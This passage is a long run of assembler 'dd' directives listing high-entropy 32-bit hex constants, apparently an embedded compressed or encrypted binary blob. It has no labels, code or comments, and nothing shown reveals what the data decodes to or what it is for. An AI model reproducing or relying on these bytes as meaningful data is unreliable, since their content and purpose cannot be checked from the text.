dd 0C04207F1h, 0C4909596h, 0D6E4A800h, 0DE49B8D7h, 22C2019Bh
dd 24D3A402h, 34170A6h, 0F675A000h, 8B327EBAh, 823E0E84h
dd 6D80B34Dh, 0D7FA1ACCh, 6A75EF00h, 0D57BE104h, 0B7330056h
dd 277E73Eh, 4E3BFD6Ch, 716280BBh, 7044DCA3h, 6D3D0087h
dd 926C634Fh, 0AE2C591Ah, 310EF786h, 0B5A4400Bh, 0E9A9997h
dd 71345A9Dh, 3E79B600h, 6A1DB438h, 0D01E357Ch, 0C5C73D01h
dd 4FC91966h, 0B0289880h, 0A2EDDC96h, 47075100h, 0CC8994DAh
dd 0DEAF034Bh, 1B29CF0Ch, 34409EF8h, 0BC396564h, 73067180h
dd 0D55C3E98h, 3CD8480Ch, 0E900BAA8h, 20D6B28Eh, 0A24C881h
dd 88E5EF55h
dd 23E70684h, 0BC0A286Ch, 0F41FB864h, 98F99F00h, 1D33AD8h
dd 9AE0D42Eh, 501D623Eh, 0EDB0BFA0h, 5318A603h, 0C08E0386h
dd 3F18106h, 565EBC02h, 0B6F8141Eh, 0C60E9108h, 256CA209h
dd 0C0404E82h, 98DDE51Bh, 319B00FAh, 83D9D030h, 213DC1E0h
dd 763A0091h, 0A36AF7AAh, 0E17A00E5h, 980FD8E8h, 530CEFA9h
dd 31C8AEE9h, 0F693134Bh, 8A7300B6h, 416F576Dh, 684F4400h
dd 0B54EBBCDh, 0A27738h, 0BEEA0106h, 1A74D88Bh, 5E323D00h
dd 5BC6CF46h, 0FDD9034Ch, 44573E62h, 0BF994000h, 9895AE7Eh
dd 1FC7532h, 371A004h, 0F823FB0Ah, 6400A9B1h, 0E060352Dh
dd 0EEE5B0h, 0FD8DF95Ch, 3BC08933h, 9BC148C1h, 86E039B7h
dd 29F256h, 72FAE8EFh, 6D1D5CA3h, 74CED103h, 1D4E4AF6h
dd 80939830h, 0CCF983D2h, 8B60D68Ch, 4F90E3F1h, 8FE903CAh
dd 7CD42496h, 3CA5CEF0h, 6D03F803h, 0B857DF14h, 0DF704D11h
dd 0EA9E4080h, 1D71BC6h, 0F5E8C100h, 17730A78h, 9460009Ah
dd 54CE4CE1h, 0BB0E4BE7h, 3E190EB0h, 2CB1D380h, 1CD4F63Dh
dd 405DF910h, 0FC17C6F0h, 69021446h, 0A75199B1h, 0AD5C05Eh
dd 0D4F500BBh, 3C03926Eh, 0BF005268h, 5AEFDFF2h, 0FE042BA8h
dd 4F9B0036h, 469057B6h, 0C3613CF9h, 0B953FE38h, 74156D0h
dd 9F7F8EDh, 87C03FD4h, 0C82B75DDh, 0E34FC500h, 0A3DCBDF5h
dd 0FC94325Fh, 2F413B28h, 6704F8E5h, 19C67C30h, 0AA9325h
dd 39E15118h, 63DAD176h, 21C13833h, 68CC90A6h, 4CCA3816h
dd 0D116E0Eh, 0FA86A7A0h, 0E900859Eh, 97178702h, 71E70F8h
dd 9F75161Bh, 6F098001h, 620331B8h, 11FBA5B0h, 0A06690FCh
dd 5B4B0BB5h, 5450A840h, 4D8E8706h, 0A781A8Bh, 9D2279B9h
dd 0AF7C0098h, 0AD564FECh, 80EB5B28h, 38660903h, 0E070D06Ah
dd 3D8D78F9h, 0A58BA794h, 0CE80BB26h, 3D27F802h, 0E41C9100h
dd 124B0D97h, 4D030022h, 1F38D021h, 0CC0056F4h, 423C06DFh
dd 0F4905287h, 60A503AAh, 0D7AB9A30h, 0DDE816F0h, 0F9537203h
dd 0F87827FEh, 3659304h, 0E7494256h, 0B7C0FCD2h, 4AEA749Dh
dd 5589F3Ch, 494C23F3h, 82307E80h, 204EE188h, 0B48F3508h
dd 80C006Eh, 3459647h, 0E241AA49h, 300E02C9h, 0FEDE8A56h
dd 72748880h, 3E240F0Dh, 652EE74Ah, 0CF4830C8h, 0C9003414h
dd 151E845h, 0BDF1FCh, 0C873B07h, 2B02FBD7h, 5C10801Dh
dd 784B3983h, 4AE3E8h, 9A4388A0h, 0C94946BCh, 0B400B270h
dd 8B34C15Dh, 795261h, 8A6073DFh, 824FE37Ch, 0FE14C579h
dd 0A441D5h, 7508F6DEh, 7614B01h, 47F8FA6Bh, 0B99300AAh
dd 49004892h, 0EACC2503h, 19948AEFh, 0B8AA268Ch, 0A783DB5Bh
dd 0B45A01B0h, 80AC4529h, 749B1740h, 8D6BEC6Ch, 0BAD81200h
dd 562784Ch, 9C9E0D7h, 0A982C15Ch, 0AADA9F04h, 9D872D00h
dd 70C5B4h, 0CC520580h, 0D58DF145h, 0ECBA200Fh, 7A014066h
dd 260EE6h, 0F2DF8739h, 0E3CD4058h, 6D5A2E07h, 8AB1CACFh
dd 80403554h, 14284E95h, 20E5AF6Ah, 0CEDAABB3h, 0D630871Ah
dd 9B33C3h, 0FD547388h, 10E51117h, 7FCCE350h, 4DF02F00h
dd 0EBA40433h, 0E0F56192h, 435235B8h, 2FF8A8DCh, 0C61F5417h
dd 6CC0754Fh, 33AFFD4Eh, 57881D29h, 20E000E8h, 3AD39B73h
dd 8D42F7Ch, 0BE007C00h, 86126A8Dh, 58E698A9h, 307202B5h
dd 160A1ADh, 4B3A172Bh, 0D2C86A2h, 0EA1851DCh, 705200F6h
dd 0F19CB515h, 8C3EE787h, 0EE5E80C0h, 0B97C81C6h, 0C8278B2h
dd 0C7D225E1h, 15B88688h, 0FF80CB00h, 597EA5F3h, 2C5CE247h
dd 0EB805ACh, 5E045619h, 64E6C0D4h, 8B016F28h, 0E10FFA91h
dd 40C26DD7h, 3ECDEFh, 4A5DE244h, 92E63F41h, 15B38h, 32AD9DD3h
dd 1C0F101Bh, 9C0C1EC1h, 53620090h, 0E4B0C8CFh, 30CA1D31h
dd 3CE1154Bh, 0C3608840h, 0BCE502CCh, 0EE1CB4E4h, 8AE19480h
dd 7900A65Bh, 0E55F4E09h, 23E4F0Ch, 0E70FDAA7h, 0D8A0DF08h
dd 0FFC083E8h, 0D90070B0h, 30586F7Ch, 0E6F1A5h, 0DE888976h
dd 55D15F7Ah, 228F0B01h, 0A1A928CEh, 2495F4h, 0CCBAE6F5h
dd 0B5E2C9C2h, 48073900h, 0D7A1233Bh, 11DD00B1h, 0EC4C4360h
dd 0DC600C81h, 5F627230h, 0F82D1CC5h, 6992C0E4h, 6416258Eh
dd 0F389170Fh, 41638075h, 0CD5599h, 0D31A882Eh, 4EEA58AEh
dd 0E1D73A00h, 0AC75D011h, 0BC6D0016h, 650B4D23h, 0C700C2B5h
dd 0B8F38737h, 5EE766h, 92727805h, 31B36A76h, 0CD2D101Fh
dd 9EE63687h, 733EEEA1h, 3066F12Fh, 32002EE4h, 0D2FAC225h
dd 1271C36h, 0F33C9F3h, 0CCB87108h, 5A035F2Ah, 0EED6F965h
dd 0E0CCB2DEh, 0B5C529h, 448D1CFFh, 2537C2C7h, 0E2BAB10Ch
dd 1B0A98F7h, 18C504B7h, 935CACF8h, 0E0008CECh, 0DF83650Dh
dd 30C35E7Eh, 42C9AB92h, 0C97006DAh, 30C5A100h, 725D9916h
dd 273D0078h, 0CBADC64Fh, 124B156h, 1300D5BAh, 5E0F717Dh
dd 8A5500E7h, 0BC20175Fh, 0DC03402Dh, 0A14AA725h, 86091B93h
dd 0F5E9205Eh, 7924D4A0h, 25F8FF00h, 486EFEDEh, 0C538003Dh
dd 0DA770673h, 37015F9Ch, 0E70970BDh, 2FE44560h, 0DC08C661h
dd 0D7002027h, 0AEE0D88Dh, 2DF7E3h, 0A10AAB62h, 606471BAh
dd 58899E30h, 1E83C266h, 0C18EE85Fh, 0A8D144Fh, 0C520C4C6h
dd 9C985560h, 3096687Dh, 0BF1188EDh, 0F4F0711Fh, 0A8D5C106h
dd 6408C0B6h, 0C0AA21A4h, 2CA15795h, 0D6CFB707h, 13E07CDBh
dd 609F984Dh, 31F828AFh, 0B7F25DD7h, 72E56600h, 6BBF50B6h
dd 0CEC10A42h, 0A1CCCBh, 0F3E0C532h, 21DF773h, 6842C410h
dd 80895DFCh, 4F76D548h, 2DCE1085h, 0EB6E80A9h, 0F09C23h
dd 0B5697C9Ah, 0D0868F5Bh, 15BF5800h, 8C72516Ah, 270C155Dh
dd 0D823B449h, 707B823Eh, 1944E8E6h, 176E10A2h, 0AC1E0371h
dd 39D0C629h, 68F355C3h, 1259211Fh, 200A475Dh, 8380F471h
dd 0A622BD28h, 0BFD900E8h, 0AB8D9CA7h, 32000F41h, 0EB4B4D9Bh
dd 1C879339h, 13E42BCh, 5131D191h, 0F077F00Dh, 9B008BEAh
dd 5A2FEB04h, 6057CBh, 0E50569DCh, 71786C13h, 3400287Ah
dd 7F3D3CFDh, 2302D4h, 88EEBC0Bh, 0E011BE9h, 60F6C300h
dd 7C29BE2Eh, 0E719389Eh, 0B524200h, 0F7DACF48h, 0A687AA00h
dd 0A84CA095h, 3B0FAA9h, 2D2916D6h, 0DAD00830h, 3C009AA4h
dd 0A16B054Ah, 16CF35C8h, 0AE0A1824h, 46A4B107h, 0D2DE0E0h
dd 0F9593C77h, 0B6870480h, 51F18A1Dh, 78748526h, 3B78C700h
dd 1D5D7A33h, 404E8B2Eh, 6440B0AAh, 2007350h, 7D744539h
dd 3C88779h, 0C17004E2h, 0F8D07AA3h, 91E6CC2Eh, 6332990Eh
dd 7F7E0087h, 7E0FD170h, 0D3774Ah, 4EA1C5F4h, 0D030B554h
dd 0DA86E60Fh, 0AFC4C007h, 0B777BEh, 0AEC98EC7h, 4737A459h
dd 4F12A701h, 1F1C4A45h, 0A4CA860h, 0CFE08583h, 0FE6900C8h
dd 0C1363DC4h, 7DA77E0Fh, 8F2C20B2h, 0AAA605h, 42C3E460h
dd 0F5C7A3BBh, 0BFD61100h, 5B252FE5h, 5EBD000Bh, 0A56507F4h
dd 8D00856Eh, 319B9582h, 394EA8FAh, 0BA0067A6h, 0CF6637DAh
dd 91004404h, 0A2F5D4EDh, 0F4674F2h, 0D8E06DFAh, 7B1F8920h
dd 1C0E53FDh, 4048FF47h, 3DCB5202h, 18B0F17h, 0A005467Dh
dd 0B3B303CFh, 680106C5h, 893337Bh, 42F46385h, 0D37700A5h
dd 75CBFFD8h, 0D400277Dh, 99B0FCF4h, 0E317FE4h, 8D74BDBCh
dd 0DDC17120h, 87001408h, 0C945F916h, 6039F6A1h, 9FA5501Fh
dd 0F43A6534h, 20430051h, 0C80B3280h, 0BB1900DCh, 72B32EADh
dd 9D48037Dh
dd 4C017B62h, 544314EEh, 0D5309EF8h, 1DA007Eh, 18A2C161h
dd 22070C85h, 33C7123Ah, 0EBB90A50h, 0F0C1E8C3h, 1A161857h
dd 185231DEh, 54D6D31Ch, 0CB950B40h, 39F5CD2h, 8BA51193h
dd 38009A63h, 6704B09Dh, 0E2273Ah, 0B5D3317h, 53A66975h
dd 0FC45F14h, 1833A018h, 97A13E7Eh, 46550F9Ch, 39407FE3h
dd 34F91F29h, 0C8C5560h, 351240E6h, 7FE20203h, 0A7E0B120h
dd 1C2CA225h, 8A7D11D9h, 311519C0h, 3C146070h, 950CA06Ch
dd 0A890F879h, 104CEDF5h, 0AFED0005h, 0F6278EFh, 90C00BD5h
dd 53AB4CE0h, 92018DDFh, 0E734B54Ah, 3D7C5707h, 27C0EC8h
dd 7507ECDFh, 0EB9502E0h, 81C98A6h, 8160A053h, 0DF28EA14h
dd 5575F985h, 0C0102495h, 0EC613B2Eh, 8A0B403Fh, 0DC5CD5FDh
dd 0F6B397D8h, 0C03154F4h, 60BCA068h, 605AE96Fh, 6A1A3002h
dd 0A4804FFAh, 50419015h, 4833C029h, 8DED9F81h, 0B8519A1Fh
dd 0A45E6E16h, 3310A70Eh, 0B5C0F00h, 5493C7D5h, 0BCBF92E0h
dd 0B561C0ACh, 2050521Eh, 2D81251h, 64B4E3A5h, 7EE9D904h
dd 95079F6Fh, 0A050C001h, 4093E3A9h, 299B80C0h, 75E14005h
dd 0C0DC5157h, 9044F591h, 24998355h, 619841B9h, 0CE80D143h
dd 0D3D4BCA8h, 574F4CE0h, 643E144h, 0D8405047h, 0B9637864h
dd 7C0A8008h, 7C8E56C0h, 91F447C0h, 0A0923A7Dh, 50B29805h
dd 7C6C5160h, 84BD0005h, 0B5A41B8h, 295130F5h, 0D074F7B8h
dd 400886E7h, 2B486517h, 0C08CE274h, 24F85E66h, 0FE28F8A4h
dd 74318C3Ch, 2819053h, 695508Fh, 1F970C9Ch, 1B055A18h
dd 0CD23A051h, 16F3D806h, 0CCDD2010h, 3E57C844h, 577F7B33h
dd 429CB0E3h, 3B8AB8D6h, 4F4DB501h, 0C36CC43h, 3DB0C0E0h
dd 10DF3758h, 0A1E8DB1Bh, 18982805h, 5D60681Ah, 1D51EA38h
dd 4006EC37h, 6108CE73h, 5860185Eh, 0EB3098B5h, 0A0B8DE09h
dd 0C645669Ch, 1044C7D8h, 0F0461F30h, 7451EDF5h, 204B6380h
dd 0E0C1CF93h, 3760BA35h, 9DC40892h, 28B74D46h, 48B6BE31h
dd 0A041AF65h, 88901A02h, 16637CC1h, 3143BB61h, 8088A928h
dd 9D06F21Bh, 70776B99h, 7D61250Ch, 431B08DFh, 3751A6C0h
dd 4548B8E0h, 18CC1FC9h, 90C008E4h, 301CDA58h, 0F0FF0821h
dd 3108B0A9h, 1B08DD27h, 4F8C02DCh, 8E2E8158h, 30E84D58h
dd 7632956Ch, 495770D0h, 0C4470A40h, 7A896880h, 64FC49C0h
dd 9E260DF0h, 3C05E424h, 0F86A750Ah, 0F08079BDh, 5858DF70h
dd 2CD1007h, 0DB6E60C6h, 599431D8h, 9D533C30h, 127CDF28h
dd 501C8640h, 0C050E818h, 101E6278h, 0AC812176h, 0D17A9CFEh
dd 0C01837FDh, 751C3024h, 1B4040D2h, 0CFE09C9Bh, 4D18B9C3h
dd 0BE181036h, 8CF6808Ah, 47C0DCB3h, 484C40E4h, 150AE844h
dd 41109299h, 0DAB4C74Dh, 14F5BCA2h, 0D4DF888Eh, 5C2680AEh
dd 0E6C0093Ch, 6C86800Eh, 0F43178BBh, 421920B6h, 49A3093h
dd 84C5A058h, 1314C520h, 28F418D4h, 0BA632660h, 2B5CE38h
dd 5CD72330h, 0C043BFh, 0E249071Fh, 9606E410h, 28C94DF3h
dd 1ABC31D5h, 50295980h, 7540E845h, 92586640h, 0E6B52C08h
dd 1BFBE064h, 0E9497522h, 0EC5C2A40h, 7A74DD48h, 0C0E8A657h
dd 2495A298h, 0E77580ADh, 14887848h, 188C3A8Eh, 3C4066D0h
dd 0C3549BDEh, 91A1195Ch, 55E88A40h, 0CCF88C0Fh, 8FA1120Dh
dd 0C50C46E4h, 50577879h, 6C08C088h, 9247B2C3h, 8D102C0Ch
dd 6F1F0EA8h, 6CF3BF85h, 430C2278h, 783E8E90h, 816307F5h
dd 0EC99C5ECh, 48CE33E0h, 280FF29Fh, 28DECA80h, 0B13B9FD1h
dd 0D5C9849Dh, 1CC28A43h, 0C98BE3Dh, 0B9392E9Fh, 0C56FB5C9h
dd 0BE576938h, 5FFD0238h, 5A42495Dh, 28DCE02h, 560538C1h
dd 84CA07Ch, 45AEE36Eh, 79DC7504h, 88C04CA6h, 2290CCC3h
dd 48D5580h, 19810A5Ah, 0F3908051h, 0DF285CD8h, 0FF24C4AFh
dd 0E01DB817h, 0F009D4D7h, 0BFB0876Dh, 0F743EDBh, 3BB8A295h
dd 350F6283h, 20315DCBh, 0AD806882h, 9D7FCC40h, 0A0570F6Ah
dd 0CBC1820h, 81204E8Dh, 3F53C109h, 43C3E01h, 40B17C77h
dd 3B1505CEh, 986C1084h, 477C08A6h, 0F50683DAh, 2C3071C8h
dd 0D28179Ah, 0F4E07A46h, 5CE07F08h, 18504024h, 313EC8D8h
dd 0D55155D4h, 0C04880B4h, 1FF40A99h, 0D8156619h, 988D4845h
dd 43663181h, 0C753048h, 604814F7h, 0E00BCDA1h, 7CA4AE70h
dd 26130B5Fh, 4C2930D4h, 9F0CC0F3h, 0E5181E79h, 7B324CBAh
dd 43BF081Ah, 3986C188h, 3BBCB041h, 65128430h, 937D20ECh
dd 112054B4h, 0BAD2E02Dh, 42CC3218h, 0CE92C08h, 0A0DC60F0h
dd 28B1D832h, 202C6178h, 0AC0167C5h, 0BC188A3Eh, 0ED3CB041h
dd 8898008h, 28025520h, 4850C21Fh, 96084D6Fh, 16BFE043h
dd 7CA01E52h, 96B23EC8h, 9B636078h, 28359F91h, 0F88E33D8h
dd 0AD58CEBFh, 14CE8114h, 0E6918Ah, 0B8747B95h, 0A0C051FBh
dd 4820F3C1h, 0B8AD505Fh, 14CF2480h, 101E1808h, 0B35087C0h
dd 0C0A34D80h, 8C71A2E1h, 0E8075430h, 0ACF950C8h, 7B30094Ch
dd 9C2251A0h, 0DC60D176h, 0D0A060F2h, 8C677E7h, 48384EADh
dd 247E700Ch, 0FF41F87h, 501929B9h, 4ED84206h, 79204440h
dd 401F0B7Ch, 80063A5Fh, 6181EB1h, 3F5CD6B3h, 0DF3008BEh
dd 0CB60280Ch, 2CA0C479h, 4609E43h, 1B83837h, 9A6DC0E4h
dd 0BCD74D90h, 0DBD40C12h, 0C7CC07ECh, 548C936h, 4E17555h
dd 81767DACh, 8C59BC54h, 0E066CF80h, 0C850D22Fh, 0D7686ED4h
dd 1FC32C60h, 13B5E357h, 1CC83599h, 9E60138Ch, 0DBC20290h
dd 709E53F9h, 81A4AB18h, 0D0415E9Bh, 88A7C33h, 12F412F7h
dd 3FF8059Eh, 0DFCC021Eh, 0A885D92Fh, 599C7CE5h, 21446E12h
dd 0BDF5E8C0h, 0A10A07F0h, 0C2662D72h, 0F84F419Ah, 0AB37C30Eh
dd 0D5F42290h, 9FD4C0E1h, 3020FF24h, 403C64D0h, 0C0FC8068h
dd 709343E4h, 0F80873C0h, 0B551C02Fh, 0C160B1D2h, 41748095h
dd 0E961DA76h, 95A04862h, 16100B3Fh, 0E9165D32h, 164078DEh
dd 7FFD6904h, 0E00A5DE6h, 9828D830h, 3D92BC18h, 56E155A8h
dd 879E3006h, 89954788h, 2A35B083h, 0C1D4E6FCh, 0C683FD07h
dd 1501B02Ch, 10A09F4h, 0FDC9F5B5h, 8161C026h, 0A00FD48h
dd 0B4A6B740h, 9C72160Eh, 3874A63Ch, 0BCD14C0Ah, 40022E13h
dd 0CF08961Fh, 20FD0278h, 9C708478h, 0C0B6F50Eh, 13CEE10Ah
dd 0C64A161h, 71E531A0h, 0D3A53958h, 8C4A1CC1h, 3040DC78h
dd 2688B0B6h, 6189280h, 0F0D69DDFh, 308ADE34h, 324048A0h
dd 67B8281Eh, 34201440h, 80313C98h, 0DC00898h, 0C0E40C69h
dd 8A54FE51h, 0D5156090h, 0E0C40B7Ch, 603246C0h, 0B50F1A8Dh
dd 0B0C59926h, 0A8DE063Fh, 0E1C1870h, 40956908h, 166D405h
dd 0C4061FF5h, 3A3089E1h, 2124EE8Eh, 96A187A0h, 641422Ah
dd 0EB895C43h, 92E8937Ch, 1860C80Fh, 0BB84008h, 36BFE5D0h
dd 83A09882h, 0EEE33863h, 12F482CCh, 53C2A0A3h, 1F5D1014h
dd 58219C0h, 98601450h, 9C64FDE0h, 0C018C990h, 7C3C4F09h
dd 87945A04h, 7509E4FAh, 0F0B81008h, 8D13E8B1h, 9446E582h
dd 5A80E493h, 0C3807840h, 0B1907512h, 0E5356844h, 650518B6h
dd 0D1F5DC5Eh, 64E115E8h, 5EEB9648h, 0D98205E8h, 40B0026Eh
dd 0E8E55DF5h, 619C55F0h, 8B08C250h, 0E09FB805h, 10B2545Bh
dd 466E3EC1h, 9621BFCFh, 6C0B6906h, 1B86F35h, 8DB34BA3h
dd 10F82490h, 40121CB0h, 6C9EAB4Eh, 4C2EF902h, 0FC41554Ah
dd 1338B85Fh, 4C9BDC17h
dd 0C9DA6B01h, 2043EE99h, 7E0F94DCh, 0AEAF05ECh, 245B8AD1h
dd 1306D4Bh, 95BA6F6h, 0D5B8809Bh, 25EC8071h, 0B48DDFFh
dd 5C3CC0F8h, 7118D87Ch, 0B588E83Fh, 7F620AF3h, 607CBBC0h
dd 407EFFACh, 3C11AE62h, 1303301Ah, 0ADC0C893h, 263C4214h
dd 2DF058C9h, 905B8BEh, 402BBB17h, 0A275AC02h, 684BCC0h
dd 0C66F93CDh, 552560E4h, 0A560BC03h, 81DC022Ch, 0F0F005B6h
dd 80B39528h, 0AC2070D0h, 857D0423h, 81298049h, 65E804h
dd 275CD8FDh, 708578FFh, 324DF67h, 841B483Fh, 0F5C817E5h
dd 0DF5402BAh, 444FA98Eh, 3115C407h, 7C813BB4h, 0D068F2D5h
dd 78D77713h, 761C3328h, 82E77737h, 6140550Ch, 0B8A3C34Ch
dd 0FBC6080h, 342A5B8Ch, 0D0B8E854h, 70DD802Bh, 0E4D0874Eh
dd 0F60A380h, 0E22B1375h, 0D7980B7Fh, 0B80FB03Ch, 417CD3E2h
dd 0B93E362h, 433DF02Bh, 0A21DFA74h, 0CFC035D2h, 0FFE3A15Ah
dd 825604B4h, 0EE9ED8A5h, 0E069E983h, 18FD7D73h, 80102FBh
dd 4C52D162h, 2670801Ch, 7C2C75F4h, 0D353037Dh, 6742D789h
dd 0DB227014h, 0F57DB01Ch, 0BA430A7h, 0E6C533A8h, 54E2FB1Dh
dd 2F8A08F1h, 10031C4Ah, 635ECC3Dh, 53137000h, 0BF42FE1Eh
dd 0F38CCE8h, 0BD7F82F0h, 92D1038Fh, 810C93DAh, 48F9F0F3h
dd 78315691h, 5B15B983h, 0F05EE0E9h, 0ED7FEFD3h, 694FC20Eh
dd 47AE85FEh, 7237C68h, 0A9BAF052h, 85B3C0C4h, 7FAFE21h
dd 829FE247h, 14AF2C5h, 6ACBECA0h, 72302FDh, 4397C0E2h
dd 4402BCA0h, 0F873E709h, 38D0850Dh, 98E69C4Ah, 7C90A20Ah
dd 2B7020D9h, 66FB280Dh, 0B81860F4h, 0D70A9F42h, 0DEDC2215h
dd 0CC4BA07Ch, 6D2E1443h, 571FF863h, 9491FEEAh, 8CD5E031h
dd 0C1C0606Bh, 0FE680413h, 7CB00268h, 7AC810D1h, 14F388B9h
dd 2215D67Fh, 0A074FA5Eh, 14717775h, 0F0C7AE0Fh, 0C5D0861Fh
dd 68EB9302h, 3018B170h, 0B339F93Ch, 6BD340CAh, 0E2FEF207h
dd 0A244F736h, 7868C484h, 0AA0F05D7h, 96B0DCAh, 30015CF4h
dd 216430A2h, 1A952114h, 0AB8C037Ch, 8F7DF4ADh, 3E9973C0h
dd 0DD6211FEh, 70EEE1DEh, 0F3F16Ah, 0F41553D0h, 4445B0C5h
dd 12E87C68h, 42F375ABh, 6935330Ch, 0E49FBE04h, 2E4E9B01h
dd 16B0801h, 1002F2DAh, 0F1829C81h, 3745AE1h, 791B9C64h
dd 0F3B01BBAh, 394640D5h, 60EA8174h, 90509050h, 904308D3h
dd 0E1C53128h, 98F57908h, 0C210C688h, 18406345h, 22E05F55h
dd 8C55844h, 0EC09FA25h, 423C875Bh, 0E394D50Eh, 0A444A895h
dd 0B378C676h, 14FA58B7h, 45A3B4A3h, 4DC28805h, 9C6CD786h
dd 63ED0989h, 0D481C03Fh, 0FCD44B93h, 0BCA33462h, 848FBBA2h
dd 82C80B0Ch, 0C071EC31h, 8982746h, 0D4A278F7h, 83B0E057h
dd 0FAB189B7h, 9A7301B0h, 84E84112h, 6B05E18h, 9E4338C8h
dd 35318E9h, 1E14904Fh, 5D3478C6h, 15DA2B88h, 2563CE98h
dd 0E91B2F38h, 0EF488533h, 0C2100289h, 7B94BE9Eh, 49C97788h
dd 83193072h, 5BE8B81Dh, 5F60037Ch, 0A096277h, 1AA4F338h
dd 42750DCCh, 0D48EF2C8h, 54236589h, 1024FB8Fh, 1E3ED46Ch
dd 788C7BC8h, 803009EBh, 9F7C57B8h, 76ABF81Fh, 53561803h
dd 9EA3E18Ah, 3E0FD8F0h, 4A1E82A6h, 0D6580749h, 0DDB880ADh
dd 380F8A57h, 8ED5FAh, 988132DFh, 10DC609Ch, 3DCB697Ah
dd 0F51AE300h, 0AB4395CDh, 21670377h, 57A1CF24h, 9CD949E0h
dd 7A7568C6h, 91766688h, 381908BFh, 7C7841EBh, 70220BCh
dd 18988AC6h, 29F19E0Fh, 0D88CA908h, 0A4407CDCh, 206409CCh
dd 0F99879B8h, 8090A8CCh, 8A6D5868h, 64D93878h, 318F883h
dd 32F182ACh, 23389845h, 0A360F810h, 40C3A184h, 0D4784887h
dd 7162C38Eh, 85EC081Eh, 6A905807h, 848918C1h, 84741894h
dd 0F24276F0h, 5B10071Fh, 0A0A7290Ah, 0CD065806h, 7E1E02E0h
dd 68D3388Eh, 0E7032094h, 836FF839h, 789E05Ch, 0D88E0C7Fh
dd 7AB89812h, 7B78A0C2h, 0E020945Eh, 1DF21416h, 6914C44Bh
dd 780CEC2Ch, 0E6C8804Fh, 4C1588DDh, 0D3E515B4h, 0EAFCE0ECh
dd 0C6F97DBBh, 481FC990h, 0DC9EF815h, 0B7C3A164h, 809AECC4h
dd 0B4A00EA9h, 0DC578BD8h, 0A1450060h, 0D59F0CC9h, 0B69200CAh
dd 116ECEA0h, 1B9E0A07h, 6000561Dh, 0D5ACE306h, 6E902A8Fh
dd 0E6FD1E1Ch, 31C0FB58h, 6E742088h, 1C14084Eh, 7E530B0h
dd 0D1805F78h, 61DC0D7Fh, 7E09AFC5h, 29E036E0h, 4F20E2FFh
dd 7BCC10E0h, 0F1F8D834h, 60325300h, 6707FE20h, 0A5ECE6A0h
dd 3E23011Ch, 0FB4E17CDh, 8AD491E0h, 0D345100Dh, 0C7D87051h
dd 74B8E260h, 0BD800EF1h, 818A63D8h, 0E7C005D6h, 5B887807h
dd 6D44F00Ch, 0F0B1606Bh, 65130ABAh, 0F38807D2h, 16F61EC0h
dd 51384D60h, 2913BCADh, 60842805h, 0DDBA37A7h, 0D3915900h
dd 23226213h, 3F63F825h, 5700312Bh, 0F652B9B1h, 53740DCCh
dd 0ADD7C10Eh, 0AE1A4076h, 0A604096h, 0E458CD79h, 0EA474028h
dd 2D3E6C72h, 1A03012Ch, 0CD96AD64h, 0DF563884h, 0E36C3876h
dd 9015C0F4h, 782300BEh, 0BD97B8A9h, 0D31F2CB4h, 0F703AC49h
dd 0E0BAFD4Eh, 0E01B95h, 0A0E2CB11h, 0AD68B437h, 1ED75601h
dd 9A811926h, 60D9F9D0h, 0CACF80DBh, 0D33A16AAh, 0AB763B36h
dd 1D406474h, 60D2CFB3h, 3EC39016h, 331E21E7h, 7703A6FAh
dd 0A1A4CBC5h, 57E0AD9Bh, 2CAF0A4Eh, 24A04B53h, 52B30308h
dd 6814A196h, 0B07CE8D6h, 7696C7D8h, 1D2B7C02h, 6C1CDE3h
dd 8BE1397h, 17F85B63h, 0B708188Dh, 0B1B36848h, 37BDCF00h
dd 0D36F974Ah, 530C0874h, 7D78C716h, 47962AD3h, 48307B0h
dd 7CB7BDCBh, 9F3C22B1h, 50C501B8h, 749C97A4h, 4C01D85Eh
dd 935D57D3h, 3AA3F022h, 0D7BDF018h, 0AEB3749h, 0A1B6ADA6h
dd 0A94EF8B4h, 4D48C8E4h, 52431440h, 849714A8h, 4AD91AE0h
dd 0FAA036D8h, 0F8803EC5h, 85638867h, 0DECC0221h, 88B6AEADh
dd 0C0C24B06h, 1078247Eh, 15A66F03h, 0A07CAA11h, 205DA596h
dd 23156A6Eh, 0A070AA3Ch, 209748E7h, 0C31C230Dh, 5384F621h
dd 0C9EA2DBh, 81511306h, 0E30469D5h, 0B321E684h, 6C685F84h
dd 0E8170A49h, 80F48234h, 77B87D1Bh, 0BA7E3092h, 0E5985206h
dd 1083251h, 0AEA3B491h, 891AEBB6h, 0DDF690h, 53066AF4h
dd 825C3196h, 41959A18h, 0F0CADCC4h, 0A966E856h, 0F0209038h
dd 0AA390604h, 1088B3F6h, 768D7F50h, 4024164Ch, 0DDF13ACBh
dd 6012DB31h, 0CC1E6580h, 123E425Eh, 0E00A3F5Ch, 0D0F8C04Ch
dd 8C8239B8h, 0DF31A3C0h, 0D967205Dh, 60548820h, 633EE805h
dd 0DB4D36ADh, 0D4092B00h, 6695DFE1h, 589E47FDh, 0BDD24143h
dd 300A9D77h, 3E481B38h, 0DCF42870h, 0A574F67Fh, 0CE4E3618h
dd 7CA15408h, 48023AADh, 0A3ACD60Ah, 0F936F0F0h, 835066E4h
dd 0B43363D4h, 8540B831h, 7F27F078h, 0EAE31286h, 2D5C0C28h
dd 38D137A0h, 6C89E09Ch, 23B644C0h, 2C5A4626h, 8C1BEF0Ah
dd 6C0694C1h, 92FFD140h, 0CEFA0307h, 47D045BEh, 2CCA39E0h
dd 62ED7100h, 3B2D73A3h, 4C6607C3h, 406522DDh, 43B29824h
dd 0F40324ACh, 0E017EA3Eh, 0D859E04Eh, 27B09Fh, 2D7150B5h
dd 8C65CCB4h, 0DD200B52h, 0E6F00E01h, 0F9F04BDCh, 0B03F834Fh
dd 234D01F1h, 13CC653Dh, 777204Bh, 7F445BBFh, 7119C14Dh
dd 732DF8FBh, 802C0D80h, 82438C0Ch, 85ECE8Eh, 193A7AB9h
dd 9C789ED2h, 1F6DC086h, 7261082Dh, 0A0878D50h, 0CF128841h
dd 0B028C5Eh, 0EDCC97EAh
dd 0ECD9B081h, 306DF89Bh, 0D71520Dh, 0E0D060B2h, 0EADF053h
dd 0AC99DAF8h, 8FEC0858h, 600D68DDh, 0C404C0CAh, 0FA39A478h
dd 95A83159h, 52C679C8h, 0A0BE2CA4h, 15A3110Ch, 379939B3h
dd 5598280Bh, 419C79CBh, 50516269h, 29FA39BCh, 3E8038C9h
dd 0FB200418h, 45DBA7D1h, 6C68C589h, 773314BDh, 0EC0008AAh
dd 44E227A6h, 530F5E2Ah, 6066C604h, 4C615DBFh, 15407469h
